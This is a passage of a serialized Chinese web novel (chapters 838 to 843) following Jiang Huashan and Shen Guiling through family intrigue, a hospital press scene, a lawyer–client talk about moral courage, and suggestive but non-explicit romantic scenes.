跟他搭上关系就身败名裂了?这么说,他是不是也该好好反思一下自己了? 不过,这些都不是重点。周宴珩单手支颐,点了点鼻梁,“她可是沈老爷子最喜欢的孩子,陷害她,萧澜兰不想活了?” 沈年摇头,露出意味深长的笑容,“这就不劳你费心了,总归会有名正言顺的理由。怎么样?交易吗?” 周宴珩点头,“的确有点心动,可是……我不跟蠢人合作。” 说着,便站起身,作势要走。 “……”沈年万万没想到周宴珩竟是这般反应,听完了他大半个计划竟然转头就走,这跟假借投资之名剽窃方案有什么区别? 他连忙起身,“为了表示我的诚意,我可以先把人送给你。” 周宴珩脚步微顿,偏过头撩着眼睑打量他,“你就不怕我吃了不认账?” 沈年,“你敢睡姜花衫,沈归灵会要了你的命,到时候交易自然就达成了。” 周宴珩眯眼,片刻后扯着嘴角轻笑,“还真是愚者千虑,必有一得。” 沈年:“……” * 一个小时后,周宴珩走下了“海神号”。 夜色已深,海风带着凉意吹散了他身上沾染的烟酒气。 他没有立刻回家,而是漫无目的地开着车,性能优越的跑车在几乎空荡的沿海公路上疾驰,引擎的轰鸣声暂时掩盖了思绪的嘈杂。 路边,一栋设计感极强的白色建筑在夜色中亮着温暖的灯光,门口立着简洁的招牌——“鲸港美术学院毕业生作品展”。 周宴珩将车停在了路边,在车里坐了许久,最后还是鬼使神差般下了车。 画廊已经关门了。周宴珩转身正要离开,目光却在不经意间扫过橱窗时猛地定格。 橱窗内灯光幽暗,几束柔光聚焦在一幅巨大的画布之上。 画作的构图极为奇特,并非传统莲花的柔美姿态,而是用冷峻、锐利的几何线条勾勒出莲花的轮廓。花瓣是坚硬的菱形与三角形组合,茎秆是笔直刚硬的直线,背景则是大片沉郁的、仿佛凝固的深蓝与墨黑。 整幅画呈现出一种冰冷、疏离、尖锐的美感。 周宴珩站在原地,隔着冰冷的玻璃橱窗,静静地凝视着这幅画。作者署名处,清晰地印着三个字: ——姜花衫。 …… 第838章 我不会动摇 谁都没想到萧启遭遇枪杀的新闻最先被送上热搜的不是萧家,而是鲸港协和医院。因为最近接二连三爆出大雷,已经吃瓜吃疯的A国民众直接把鲸港协和戏称为“权贵集中营”。 好像这些大人物,不管是谁都跟鲸港协和有着不解之缘。 萧家与沈家是姻亲,出了这么大的事,沈家自然要出面。 出事第二天,沈谦领着沈家众人去医院看望情况。只是萧启的运气并没有前面几位那么好,手术已经抢救了十二个小时,依旧没有脱离危险。 沈娥既要忙着第二天的宴会,又要在手术室门前做戏,一来一回间,人肉眼可见地憔悴了许多。前来探视的亲朋好友见状,纷纷出言安慰。 姜花衫和傅绥尔是小辈,这样的场合一般都是跟着长辈混在人群里打酱油。 气氛沉重压抑之际,医院走廊尽头忽然传来一阵不小的骚动。 镁光灯毫无预兆地疯狂闪烁起来,伴随着记者们嘈杂的惊呼声,重症监护区的肃穆瞬间被打破。 所有人的目光都不由自主地被吸引过去。 只见萧澜兰身着一袭优雅端庄的黑色长裙,她原本就生得明媚动人,再加上精致妆容的加持,美得摄人心魄。 国民女神,年少出名,最负盛名那年被爆私生活混乱,陷入黄谣霸凌风波,黯淡离场。这样一个具有话题争议的美人一出现,就成了所有人的焦点。 “萧小姐,请问您突然回国,是因为令尊即将不久于人世吗?” “萧小姐,请问您对这次案情有什么看法?这次枪击真的只是意外吗?您有没有什么可以向大众透露的?” “萧小姐,请问您这次会在A国待多久,是否有回国发展的打算?” 萧澜兰脚步未停,甚至连眼神都没有丝毫波动,只是微微抬起下巴,目光越过人群,精准地落在萧家亲属身上。 “我父亲只有我一个女儿,发生这样的事我也感到很悲痛。” 萧家众人看见萧澜兰的出现,脸色铁青。 当初萧家因为萧澜兰几乎成了鲸港名门的笑话,所有人都恨极了萧澜兰,如今见她如此高调,心中愈发不喜。 同为萧家媳妇,有人看不下去,冷嘲热讽道:“大嫂,大哥还在里面抢救,澜兰这么招摇像什么话?你还是赶紧把人带回去吧,省得那些新闻报纸又胡编乱造,丢人现眼。” 沈娥冷着脸,“你给我闭嘴,信不信我撕烂你的嘴。” 女人错愕。自从萧澜兰被赶出A国后,沈娥一改嚣张跋扈的性子,连被萧启那边那些女人骑到头上都忍了下来,今天又是怎么了? 但沈家长公主的名号还是有几分威慑力的,女人不敢硬碰硬,憋着一口气不敢回话。 那边记者的问题一个比一个尖锐,话筒几乎要怼到萧澜兰脸上。 “萧小姐,令尊作为萧家话事人,万一出了什么意外,萧家是否做好了应急措施的所有准备?” 这话问到了利益关键所在,几乎所有萧家人的心都悬了起来。 萧澜兰对着镜头,露出国民女神的职业微笑,“当然,我是父亲的唯一女儿,我将继承父亲所有的遗产。” 话音一落,萧家人彻底变了脸。 因为萧澜兰的高调发言,成功将萧家族长被刺杀的焦点转移到了萧家权势大洗牌。 姜花衫看着镁光灯下笑得魅惑众生的萧澜兰,不禁感慨万千。 不得不说,萧澜兰这次杀出来战斗力爆表啊。 但她并不在意眼前的这场闹剧,轻轻拍了拍傅绥尔的肩膀,指着隔壁楼栋,“你在这看着,我去看看余笙。” 傅绥尔原本想跟着一块去,但很快反应过来,点了点头,“嗯。” 姜花衫趁着所有人的注意力都被萧澜兰和记者吸引,悄无声息地向后退去,身影灵活地没入走廊的拐角,朝着隔壁的住院楼栋走去。 几乎就在她转身的同时,沈归灵不着痕迹地挪动脚步,如同影子般跟了上去。 他们两人一前一后的离去,动作虽轻,却并未完全逃过某些人的眼睛。 沈兰晞站在稍远些的位置,冷静的目光扫过全场,自然没有错过这一幕。他的眉头几不可察地蹙起,下意识便想迈步跟过去查看。 然而,他刚有所动作,一只宽厚的手掌便轻轻按在了他的手臂上。 “兰晞,”沈谦的声音不高,语气温和,“这边萧家几位叔伯还在,我们沈家不能失了礼数。既然都来了,你跟我一起去打个招呼?” “……”沈兰晞沉默片刻,垂眸敛下眼底的深沉,微微颔首,“好。” * 姜花衫沿着连接两栋楼的空中走廊不紧不慢地走着。她知道身后有人跟着,但并未在意。刚走进大厅,身后的脚步声却突兀地停了下来。 迟疑片刻,姜花衫转过身,循着原路折返。 果然,在走廊靠近拐角的阴影处,沈归灵长身玉立,正静静地看着窗外。午后的阳光透过玻璃,在他轮廓分明的侧脸上投下一片明明暗暗的光影。 姜花衫走到他身边,顺着他的目光看向窗外,楼下花园里草木葱茏,但并不惊艳。 “怎么不跟了?”她歪着头,语气带着一丝不易察觉的调侃,“怎么?怕余笙看见你?” 沈归灵转过头,眉眼温柔,“不是,我怕你吃醋。” 姜花衫呵呵笑了两声,“沈归灵,我以前怎么没发现,原来你脸皮这么厚?” 沈归灵摸了摸脸颊,“有吗?” 姜花衫不想搭理他,转身刚走两步,忽然想到什么,又回过头看着他,“沈归灵,余笙的直播你看了吗?” 她还是不够诚恳,其实想问,被人那么认真地喜欢,他会不会感动? 沈归灵摇头,“余笙的直播没看,但姜花衫的直播看了。” 他低下头,在她脸颊飞快落下一吻,又迅速撤离。 “我不会动摇,因为你是我的选择。” …… 第839章 修心 病房门被轻轻推开时,余笙正望着窗外发呆。 午后的阳光将她苍白的脸照得近乎透明,听到动静,她缓缓转过头来。当看清来人是姜花衫时,她眼底划过一丝复杂的情绪,随即化为淡淡的笑容。 “姜小姐,你来了?”余笙的声音很轻,带着久未说话的沙哑。 姜花衫走到床前,顺手拉过旁边的椅子坐下,“看来你恢复得不错。” 余笙的目光追随着她的动作,眼里的笑意深了几分,“多亏了姜小姐帮我争取。” 姜花衫看了她一眼,从手提包里拿出一沓文件递上前,“我收到通知,国会那边已经同意立案方案,检察院那边会派新的检察官过来取证。这是我给你准备的资料,你先过目。” “谢谢。”余笙轻轻应了一声,双手接过。 在她抬手接文件的瞬间,姜花衫注意到她宽大的病号服袖子滑落了一截,露出的手腕纤细得惊人,似乎轻轻一折就会断掉。 “你瘦了很多。”姜花衫说。 余笙眸光微怔,抬眸看着姜花衫,似乎很意外她会说这句话。 姜花衫迎上她的目光,神色坦荡,“怎么了?我作为辩护律师关心一下当事人的身体状况,很奇怪吗?” 余笙这才意识到自己的眼神有些失礼,连忙摇头,“不奇怪。” 为了缓和尴尬,她立刻转移话题,“姜小姐,你真的愿意做我的辩护律师吗?” 姜花衫:“问检察院要报销的采访都做了,难不成还有假?” 余笙:“你别误会,我不是怀疑你,我只是想提醒你,在A国,所有受聘出庭的律师必须有专业的律师证。我担心我父亲会利用这点,控诉你扰乱司法秩序。” “哦~这事啊?”姜花衫笑了笑,从文件包里拿出一张准考证晃了晃,“你猜,为什么国会议案要压到司法考试之后?那当然是因为,我准备考试咯~” 余笙看着姜花衫指尖夹着的薄薄纸片,一股滚烫的热流毫无预兆地冲上鼻腔和眼眶,酸涩难忍。 原本,她什么都考虑好了。 “谢谢……” 姜花衫收敛了笑意,默默把准考证收回包里,“行了,现在道谢太早了,等真相大白的那天吧。” 真相大白? 余笙眼睑轻颤,极缓地吸了一口气,试图让自己快速冷静下来,“姜小姐,关家昨天派人过来,说是有我父亲通敌卖国的证据,他们想跟我合作。” 姜花衫:“关楼现在是总统候选大热门,如果他能在这场全国瞩目的案件中为国立功,对他来说百利而无一害。你确实可以考虑跟关家合作。以你现在的热度,这份‘真相’给谁,谁就是国民英雄。他们,求之不得。” 余笙摇头,目光灼灼地看着她,“我谁都不想给,但我愿意给你。” “我?”姜花衫不觉愣了愣。 在她眼里,余笙是个精致的利己主义者,不像是会说出这种话来的人。 余笙郑重地点了点头,“虽然我不知道你为什么要帮我,但在经历过一场漫长的梦魇后,我已经不计较了。任何人做任何事都有目的,我理解。姜小姐,你想从我身上得到什么?或者,你如果相信我,可以坦白你的目的。不管是什么,我都愿意配合你。” “我想要从你身上得到什么?”姜花衫细细思索了片刻,抬眸对上余笙的目光,“大概是:不管世界变成什么样,永远都有修复的能量吧?” “能量?”余笙再次错愕。 这几天她一直在想,姜花衫为什么要不遗余力地救她,沈家到底有什么目的? 她有些困惑地看着姜花衫,“我不太明白,你能再说清楚一点吗?” 姜花衫斟酌过后,缓缓开口:“你听说过好心人扶摔跤的老太太起身结果被讹钱的事吗?或者有人好心给孕妇指路结果被谋杀?” 余笙愣了愣,迟疑片刻点了点头,“这和你说的能量有什么关系?” 姜花衫:“这种事多了会让人趋吉避害。这些事的本质逻辑和发生在你身上的事没有不同,趋吉避害的本性会让许多本可发声的人保持沉默。如果要说我想从你身上得到什么,那就是拥有随时敢于修正的能量。” “类似于,一个老人摔倒了就应该要扶,一个孕妇需要帮助可以伸手,一个人蒙冤就有另一个人为她不平。世间公道秩序不应该被世俗规则改变。” “所以,我救你,其实是在修正自己的心。” “修心?”余笙喉咙像是被什么堵住了,发不出任何声音。她绞尽脑汁想了很多可能性,唯独不曾想过眼前这个答案。 “我已经从你身上得到了我想要的东西,你不欠我什么回报。如果关家、苏家提出的要求对你助力更大,你可以随时撤回对沈家基金的求助。” 姜花衫站起身,转身准备离开。 “姜小姐。”余笙再次喊住她,声音几乎是从喉咙深处挤出来的,“我……还有一个问题想问你。” 姜花衫停下脚步,侧身打量余笙,“问吧。” 余笙缓缓抬眸,目光深邃潋滟,“我想知道,沈归灵……心里喜欢的人,是不是……是你?” 姜花衫眸色微动,这个问题完全出乎她的意料。 余笙的身体几不可察地晃了一下,攥着被单的手指松开,无力地瘫软在身侧,“其实,我早就看出来,只是不想承认罢了。谢谢你,姜小姐。” 姜花衫一时不知该说什么,因为她能感觉到余笙好像要哭了。 沉默了片刻,她最终只是淡淡开口:“好好休息,我刚刚说的话,你认真考虑。” 说完,便转身离开了病房。 没有安慰,也没有多余的怜悯,有些伤口,只能靠自己愈合。 …… 第840章 有风 当病房里只剩下余笙一个人时,她卸下了强装淡定的伪装。任由那股熟悉的、钝重的疼痛将自己淹没。 一滴泪,终于无声地从眼角滑落,滚烫地渗入手背。 结束了。 这场长达数年的,独属于她一个人的兵荒马乱,终于在这一刻,看到了明确的终点。 “实在喜欢,就去把人抢回来啊。” 余笙怔愣,抬起头的瞬间,一张洁白色纸巾忽然出现在眼前。 苏韵轻叹了一声,挨着床边坐下,替她擦去眼角的泪水,“你们刚刚说的话,我在门外都听到了。你如果不甘心,可以……” “阿韵。”余笙看着苏韵,泪水夺眶而下,“我哭不是因为我不甘心,是因为我要放弃了。” 苏韵指尖微顿,“因为她救了你?” 余笙摇头,“因为我好像知道为什么他会喜欢她了。我理解了自己的情敌,就注定抢不过了。” 苏韵沉默片刻,将纸巾塞进余笙的手心,轻声安慰,“放弃也好,以后会有更好的。” 余笙还是摇头,看着掌心的湿润,喃喃道:“不会再有更好的人了,他就是最好的人。” 连自己的难过都分析得头头是道,她其实什么都知道。 苏韵一时也不知道该怎么安慰了,靠上前给了余笙一个拥抱,“会有的,一定会有的。” * 姜花衫沿着安静的走廊没走几步,便在转角处看到了那个倚墙而立的熟悉身影。 沈归灵不知在那里等了多久,午后的光影将他挺拔的身形拉得修长。他什么也没问,只是在她走近时,极其自然地伸出手。 姜花衫看了一眼他摊开的掌心,没有丝毫犹豫一巴掌拍了下去。 “说多少遍了?在外面要避嫌。” 就是因为他这么不靠谱,所以才被余笙看出了猫腻。 沈归灵见她语气不善,揉了揉手腕,“怎么了?谈话不顺利?” 姜花衫想了想,四处看了看,小心凑上前,“咱们俩以后还是得避开点,余笙都已经看出来了?” “我们俩现在就是两块同级相斥的磁铁,还要怎么避?”沈归灵递上自己又红又肿的手背,垂眼打量她。 姜花衫被这话噎了一下,瞪了沈归灵一眼,“还不是你平时不知道收敛!最近情况越来越不妙,沈年这个定时炸弹还没找到,我们还是小心为妙。这样,从今天起,咱们两人暂时断交,等风头过了再说。” 说完举手作别,转身就要走。 “……”沈归灵差点被气笑了,一把将她拉进怀里,“你是不是怕我的异国身份会连累你?” 姜花衫愣了愣,一本正经,“你不要无理取闹,我这也是为了大局考虑。” 沈归灵扣着她的脑袋往怀里带,“沈年不足为虑,你要想回避我有办法,但是断交,想都不要想。” * 一个小时后。 “这就是你想的办法?” 眼前的小客厅十分温馨。米色的沙发看起来柔软舒适,上面随意搭着一条浅灰色的薄毯。原木色的茶几上放着一套白瓷茶具,旁边还有一小盆绿植,生机勃勃。窗台上甚至放着几个多肉植物的小盆栽,阳光透过干净的玻璃窗洒进来,在地板上投下温暖的光斑。 姜花衫站在门口,有些反应不过来。 沈归灵拉着她的手进屋,“现在沈兰晞和沈清予都已经怀疑我的身份了,在沈园会有诸多不便,所以我买了这里,以后这里就是我们的秘密基地了。” “你买的?”姜花衫皱着眉上下打量他,“你哪来的钱?你欠我的三亿还没还呢?哪来的钱买?” 沈归灵原本还一脸期待,冷不丁听见这话低头清咳了一声,“这里是边郊,面积小入住率不高,没花什么钱。” “没花多少是多少?”姜花衫蹙着眉头,“沈归灵,我告诉你,骗我的感情可以,骗我的钱不行!还钱!” “……” 这个时候还钱,沉没成本岂不是没有了? 但姜花衫又一副不肯善罢甘休的铁公鸡模样,沈归灵暗恼自己不该掉以轻心,捏了捏眉心,灵机一动,“我贷款买的。” “贷款?” “嗯,为了避人耳目,我用虚拟账户做得分期,放心。这里绝对安全。”沈归灵故作不经意避开姜花衫的目光,很是自然地走到窗边,将窗帘拉开一些,让更多的阳光照进来。 姜花衫立马被外面的风景吸引,走到窗台边张望,“的确没什么人。” 沈归灵见她注意力被转移,心下微松,顺势从身后轻轻环住她的腰,下巴抵在她肩头,循着她的视线望向窗外,“这里是郊区,视野开阔,晚上还能看见整片星空。” 他的气息温热地拂过她耳畔。 姜花衫身体有瞬间的僵硬,但并未挣脱,只是哼了一声,“少来这套,转移话题也没用。” 沈归灵手臂收紧了些,声音里带着显而易见的诱哄,“沈年曾经亲耳听见安缇叫我殿下,他应该已经对我的身份起疑了。这个时候迟迟没有露面,一定在酝酿什么。沈园耳目多,容易走漏消息,这里方便得多。” 姜花衫耳根有些发热,努力让自己保持清醒,“所以我才说先断……” 话音未落,沈归灵环在她腰间的手臂倏然收紧,温热的唇已经贴上了她敏感的耳后,明确意图地轻轻厮磨。 “怎么断?这样吗?” 他灼热的呼吸喷洒在她颈侧最细嫩的皮肤上,手掌开始不安分地向上移动,隔着薄薄的衣料,用指尖描绘着她腰侧的曲线。 “还是这样?” 随着他掌心的温度越来越灼人,姜花衫不可避免地激起一阵细微的战栗。 “沈归灵……”她开始唤他的名字,声音也染上了情动的沙哑。 这声呼唤彻底击碎了沈归灵最后的克制,他猛地将她的身子转过来,面对面,低头狠狠攫取了她的唇。 他一边吻,一边拉着她起身,然后一把将她打横抱起。 姜花衫迷蒙地看着他,一时没反应过来。 沈归灵动作温柔地将她散开的衣襟拢好,声音暗哑:“窗没关。” 姜花衫搂着他的脖子:“不是没人吗?” 沈归灵单手托住她的腿弯,长臂一甩,“唰”地一声拉紧了窗帘。 下一秒,天旋地转。 姜花衫被他抱着,一同跌进那张三米长的沙发里。 沈归灵撩开他上一秒才拢好的衣襟,低头吻了上去:“有风……” …… 第841章 有家底的龟 阳光被筛成流动的光斑,在木地板上温柔摇曳。当最后一道暖光掠过窗棂,暮色四合,只余天际一抹淡淡的紫。 风停了,窗帘静垂如画,屋内浸入宁谧的蓝夜。 安缇第十三次推开窗户,见对面小屋的窗户依旧紧闭,屋里没有一丝光亮。她陷入了一种既欣慰又忧愁的复杂情绪里。 小殿下长大了,可是这样会不会太伤身体了? 她单手捧着脸颊,幽幽叹息了一声,又默默关上窗。 回身发现无事可做,盯着偌大的客厅愣了许久,最终毫无生气地走进了厨房。 没一会儿,厨房发出叮铃哐啷的敲击声。一个小时后,安缇端着一碗糊成一团的泡面走了出来。 她将那碗卖相凄惨的泡面放在茶几上,双手合十:“感谢主神恩赐~” 祷告完毕,正拿起筷子,玄关处忽然传来了清脆的门铃声。 叮咚—— 安缇眼睛骤然一亮,激动得差点打翻面前的泡面,指尖被碗壁烫了一下也浑然不觉。她几乎是跳了起来,踉跄了一步便飞快地冲向门口,一把拉开了房门。 “殿下!” 她不会A国语言,一直用的是S语。 门外,沈归灵长身而立。 走廊暖黄的灯光在他身后晕开一圈光晕,将他周身矜贵冷漠的气息调和得柔和了几分。 安缇敏锐地察觉到,小殿下的发丝带着水汽,浑身上下散发着一种不可描述的吸引力。她隐约猜到了什么,露出母亲般光辉的笑容:“殿下,我在吃面,要不要给你也煮一碗?” 沈归灵的目光落在安缇脸上,又越过她的肩膀,精准地捕捉到了茶几上那碗正冒着微弱热气的糊状泡面,眉头几不可察地蹙了一下。 安缇见状,连忙让出一条路:“殿下不想吃面,我可以做别的。殿下累坏了吧?要不先进来再说?” “……”沈归灵一眼就看出了安缇脸上的心思,但他并不想解释。沉默片刻,侧身进了房间。 安缇立马长舒了一口气,赶紧把门关上,犹豫一秒又反锁,那模样生怕沈归灵跑了。 “殿下,坐。” 沈归灵环顾一圈,见客厅落地窗前摆着一架天文望远镜,眸色微暗,若无其事地坐回沙发。 他抬起头,脸上不辨喜怒:“你确定要一直跟着我?” 安缇点头:“那当然了,您是亲王殿下的遗物,您在哪我就在哪。” “……”沈归灵对于“遗物”这个词有些排斥。他到现在都不觉得自己跟白家有什么关系。在他心里,舒沐担任了母亲的角色,而他从未有过父亲,他也不需要父亲。 但除了姜花衫,他跟任何人都没有沟通欲,所以他并未纠正安缇,沉默片刻才开口:“我需要确认现在这里的安全级别,我不喜欢有人偷窥。” “!”安缇眉心一跳,有些懊恼地拍了拍额头,但她很快反应过来,脸上又满是错愕:“殿下您这都能察觉到?” 那会儿她正在调整监控视角,恰巧就看见窗台那一幕。不过她当时见情况不对立马就转向了镜头,两栋楼间距那么远,按理殿下是不可能察觉到的。 见沈归灵面无表情地看着她,她立马意识到自己偏题了,赶紧解释:“殿下,您误会了,我没有想要监视或者偷窥您的意思,我只是在调整监控视角,我必须对您的安全负责。” 沈归灵看着眼前糊成一团的泡面,又看了看满墙枪械的墙板,暂时相信了安缇的说辞,眼里的质疑消退了几分,淡淡道:“把那间房的购房合同给我。另外,做个贷款合同。” 他必须防止姜花衫清醒过来翻旧账。 “啊?”安缇一时没反应过来,“什么是贷款合同?” 论枪械暗杀她精通,贷款这么小众的词触及到她的知识盲点了。 沈归灵见她一脸迷惑,瞬间明白了怎么回事:“购房合同就行,贷款不用了。” 这种事,还是莫然比较在行。 “是。”安缇不敢怠慢,连忙跑进房间。眨眼功夫,手里捧着厚厚一叠合同走了出来:“殿下稍等,我把那套房找出来。” 她也没想到小殿下需要这个,所以压根没提前准备。 沈归灵看见眼前堆成小山的文件,眉心微蹙。 他随手拿起最上面一份翻开,产权人清晰写着某某某,地址虽然是同一栋但是不同楼层。他动作一顿,又迅速抽出下面几份——结果无一例外,全是购房合同,地址遍布这个静谧的园区。 一个荒谬的猜想浮上心头。 短暂的沉默后,他抬手点了点眼前的文件:“你不会告诉我,你把这整栋楼都买下来了?” “不是。”安缇从一堆文件里抬起头,目光纯然,“殿下不是强调要绝对私密吗?所以我把整个小区都买下来了。所以不是一栋,是八栋。” 沈归灵看着她一副求表扬的神情,闭了闭眼:“你哪来的钱?” 问完就被自己蠢笑了——他这是被姜花衫传染了吗? 这根本不是重点。 “你……” 他正欲纠正,安缇笑了笑,露出一副理所当然的表情:“我没有,但殿下您有啊。” 沈归灵抬眸,深邃的眸底闪过一抹暗光:“我有?” “嗯。”安缇点头,“我已经用殿下的基因样本激活了亲王冕下留给您的所有金库,那里面的资源殿下可以随便使用。殿下放心,不过是A国边郊的小区,费不了几个钱。” “金库?” 回到沈园时,沈谦曾跟他说起沈兰晞开金库赠金的事。他那个时候才意识到,如果没有家世托底,他和沈兰晞差别如此之大。 但安缇现在告诉他,他也有。 这种感觉很奇怪。 安缇并不知道她的小殿下在想什么,见他一直没有说话,以为是不相信她说的话,便又继续解释:“亲王冕下与王妃十分恩爱,他不忍王妃承受生育之痛。但为了王室,他们曾约定此生只有一个孩子。得知您的到来,冕下十分高兴,在您还未降生时,冕下就为殿下创立了十座金库基金。这些资源是冕下为了庆祝与您见面准备的降生礼,打开条件就是殿下的生物信息。” “殿下不愿回白家,我理解。但冕下留给您的东西您不能也不并舍弃啊。所以,我就作主偷了殿下的一根头发,激活了冕下留给您的资源。” 见沈归灵还是不说话,安缇只能游说:“殿下,如今A国形势复杂,沈年又藏在暗处虎视眈眈,这些资源能保护您和姜小姐。” 沈归灵并不是一个固执己见的人。他知道安缇是一番好意,他也知道拥有这些对他意味着什么。 他点了点头,算是默许了安缇的行为,站起身:“既然如此,再帮我做两件事:派人盯着姚歌和沈园,一有沈年的行踪立马告诉我。另外,绝对不许他靠近沈园。” 安缇暗暗松了口气,小心跟上前:“第二件事呢?” 沈归灵迟疑片刻,顺手拿起桌上的合同和笔,行笔流畅地写下一段文字后递给安缇:“替我查一下,这几个人最近在做什么?” 沈年不可能信任李儒,但他也不敢轻易回沈园,所以他一定会借势。 如果他是沈年,最好借势的目标就是利维坦之陨里的成员。周宴珩已经是明牌,另外几个虽然他隐隐有了判断,但还需要证实。 安缇接过合同,看了一眼,错愕的同时满满都是感动。 沈归灵写的是S国的文字,但或许是血脉使然,竟隐隐有当年故人的笔锋。 她摸了摸眼角的泪水,回过神时,沈归灵已经出了房门。听见落锁的声音,她深吸了一口气,捧着那碗糊成一团的泡面小声道:“您放心,这次我一定会守好。” …… 第842章 动一动 沈归灵独自一人走入沉沉的夜色里,月光如水银泻地,将他的身影拉得修长而孤寂。 安缇将他的笔迹视为血脉相承,其实不然。 当年他隐隐猜到了自己的身份时,曾偷偷查阅过亲生父母的信息。白冕是当代最伟大的军事家之一,就连A国的军政学府里都收藏着白冕的作战理论。 他曾看过白冕字迹,不知道为什么,学S语的时候潜移默化地开始摹仿。 沈归灵不愿再想,加快了脚步,他现在只想回家。 房门推开的那一瞬间,他的心也跟着落了地。 客厅里只留了一盏昏黄的壁灯,像一颗温顺的星辰,将眼前的一切都蒙上了一层柔和的滤镜,也连同他眼底的阴翳。 沈归灵赤脚踩在月光下,弯腰捡起地上凌乱衣衫,径直往过道的主卧走去。 推开紧闭的房门,他的目光几乎是瞬间就被床上的身影攫住。 姜花衫侧卧着,裹着一层薄薄的绒毯,睡得正沉。 月光透过未完全拉拢的窗帘缝隙,恰好流淌在她身上,落下神圣的霜白。毯子随着她的呼吸微微起伏,边缘滑落少许,露出圆润的肩头和锁骨附近刺目的红痕。 沈归灵站在床边,静静地看了她许久。 心底那份难以言喻的波澜,忽然平复了下去。他再次确认,姜花衫就是他的锚,是他混乱世界里唯一确定的坐标。 沈归灵俯下身,动作轻缓如羽,生怕惊扰了她的安眠。床垫因他的重量微微下陷,带来一丝不易察觉的震动。 他挨着她的鼻尖,亲昵地触碰。 姜花衫在睡梦中无意识地嘤咛了一声,并未醒来。 这声低吟在绝对静谧的暧昧中是惊雷,沈归灵眼底最后一丝克制彻底瓦解。 他伸出手,指尖带着夜色的微凉,极其轻柔地拂开她颊边散落的发丝,然后,那指尖便顺着她优美的颈部线条,缓缓下滑。 睡梦中的姜花衫感受到了这熟悉的侵袭,身体本能地微微战栗,长睫如同蝶翼般轻轻颤动,仿佛下一刻就要醒来,却又被深沉的睡意拖拽着,只能发出模糊不满的鼻音。 沈归灵低下头,一只手则探入薄毯之下,精准地握住了她柔软的腰肢,微微用力,将她更深地拥向自己。 “……嗯……”姜花衫终于察觉到了异样,迷蒙地睁开眼,对上他暗沉如夜、却燃烧着灼灼火焰的眼眸。 她尚未完全清醒,带着睡意的沙哑嗓音软软抱怨:“沈归灵,不睡觉啊?” 沈归灵停下动作,撑起身子,悬宕在她上方,深深地凝视着她。 月光在他身后,为他镀上了一层银边,却照不亮他眼中几乎要将她吞噬的欲望。 “不想睡,还想要。” “嗷呜!”姜花衫浑身本能地抖了一下,哀嚎了一声,扯过被子把自己盖了起来,“你疯了,你不怕***亡?” 沈归灵被她的反应逗笑了,掀开被子贴着她。 “不怕。”他的声音低哑得厉害,带着一丝若有似无的诱哄,“真的是最后一次,我保证。” * 翌日,阳光正好,暖融融地洒在沁园的露台上,驱散了晨间的微凉。 姜花衫整个人陷在柔软的躺椅里,身上搭着一条薄薄的绒毯,像只被抽走了骨头的猫,连指尖都透着一股懒洋洋的无力感。 阳光勾勒着她有些恹恹的侧脸,眼底泛着淡淡的青黑,整个人由内而外散发着一种“精气被榨干”的虚弱。她眯着眼,感受着阳光的温度,心里把某个不知餍足的家伙翻来覆去骂了无数遍。 什么最后一次?沈归灵就是个满嘴谎言艳鬼,她可是可怜,初入红尘就遇见这么个妖孽。 张茹不明所以,见姜花衫从早上躺到现在还纹丝不动,实在看不下去,无奈道:“小姐,这么好的天气,要不你带小可怜去走走吧?” 姜花衫摆摆手,“我腿疼。” “那好办。”张茹转头推着姜花衫的轮椅出现,“实在不行,坐轮椅去。小姐,您好歹动一动,小姑娘没点朝气怎么行。” 她怎么没动? 动得都快神经痉挛了。 不可说!说不得! 姜花衫生无可恋地摆摆手,“张妈,你别管我了,我晒点太阳回点阳气。” 张茹拿她没办法,便也由她去了。 姜花衫正闭眼汲取着“日月精华”,试图驱散周身那股被掏空般的酸软。 忽然,砰的一声巨响。 姜花衫猛地睁开眼,倦意瞬间被警惕取代。她下意识地想撑起身子,腰间传来的酸软却让她倒抽一口冷气,又跌回躺椅。 张妈已经慌慌张张地从屋里跑了出来。 不等她们做出反应,一道挺拔的身影已如入无人之境般踏入菊园。 来人逆着光,身形极高,肩宽腿长,简单的黑色衬衫袖口随意挽至手肘,露出线条结实有力的小臂,“姜花衫出来,看我不打死你!” 姜花衫:“……” 第843章 你知道我装的有多辛苦吗? 沈清予立在阳光之下,落在肩上的余晖将他周身都镀上了一层桀骜的金边。 他双手抱胸,丹凤眼微挑,嘴角似笑非笑,目光在姜花衫身上落了一眼,眼神深了几分,“你这是什么造型?” 姜花衫在他极具穿透力的目光下,莫名生出一种被看穿的心虚,尤其是联想到自己此刻“纵欲过度”的惨状。 她强作镇定,拉高了身上的薄毯,试图挡住那些痕迹,“要你管,倒是你,这又是什么出场方式?信不信我告诉爷爷,让他削你!” 沈清予冷笑一声,不请自来地往前走了几步,拉近了些距离。 他周身那股侵略性气息更加明显。 张茹不明所以,只担心姜花衫会吃亏,想也没想冲上前横挡在姜花衫面前,“清予少爷,您有话好好说,可不兴动手的。” 姜花衫有恃无恐,“张妈让开,我就不信了,他还真敢动手不成。” 沈清予直接被这话气笑了。 他朝身后打了个手势,一直静立在不远处的顾赫立刻上前。 “清予少爷!这可使不得啊!”张茹急得直跺脚,却被顾赫稳稳拦着,只能眼睁睁看着自己被拖出菊园。 姜花衫没想到沈清予竟然这么大胆,气得直接从躺椅上站了起来,“沈清予!” “别喊。” 下一秒,沈清予利落地蹲下身,在她的惊呼声中,连人带毯子一把扛在了肩上。 “!”姜花衫愣了一秒,等反应过来的时候只觉得天旋地转,本就酸软的腰肢被他的肩膀硌得生疼,手脚并用地挣扎起来,“沈清予!你放我下来!” 不管她怎么挣扎都像是棉花砸到钢板徒劳无功,气急之下,姜花衫低头对着这块钢板狠狠咬了一口。 沈清予身形明显一僵,脚步猝然停止。 他闭了闭眼,喉结艰涩滚动了一下,“姜花衫,松口。” “就不松!”姜花衫呲着牙齿使劲磨。 “……行!”沈清予咬了咬牙,“那你继续咬着吧,正好耳根清净。” 说着,他加快了步伐,三两步踏上绣楼的木质楼梯,一脚踹开房门,大步流星穿过香闺,毫不怜香惜玉地将肩上的祸坨子丢进了柔软的床榻。 姜花衫在床垫上弹了弹,刚撑起身子,就看见沈清予锁了房门又折了回来。 “……你发什么疯?”她气得直接拿起床上的枕头对着沈归灵砸了过去。 沈清予歪头躲开,慢条斯理地松了松领口,一把拉过床边的公主椅坐下,目光沉沉地落在她身上,“我发什么疯?还不是被你逼的。” 姜花衫随即反应过来,以为他是在计较自己告状的事,立刻反驳:“谁逼你了?不就是跟爷爷说了你几句,你以前跪过的祠堂还少吗?” 她攥着被子,理直气壮地数落:“你闯了那么大的祸,不过就是跪了一天,至于这么小题大做吗?” 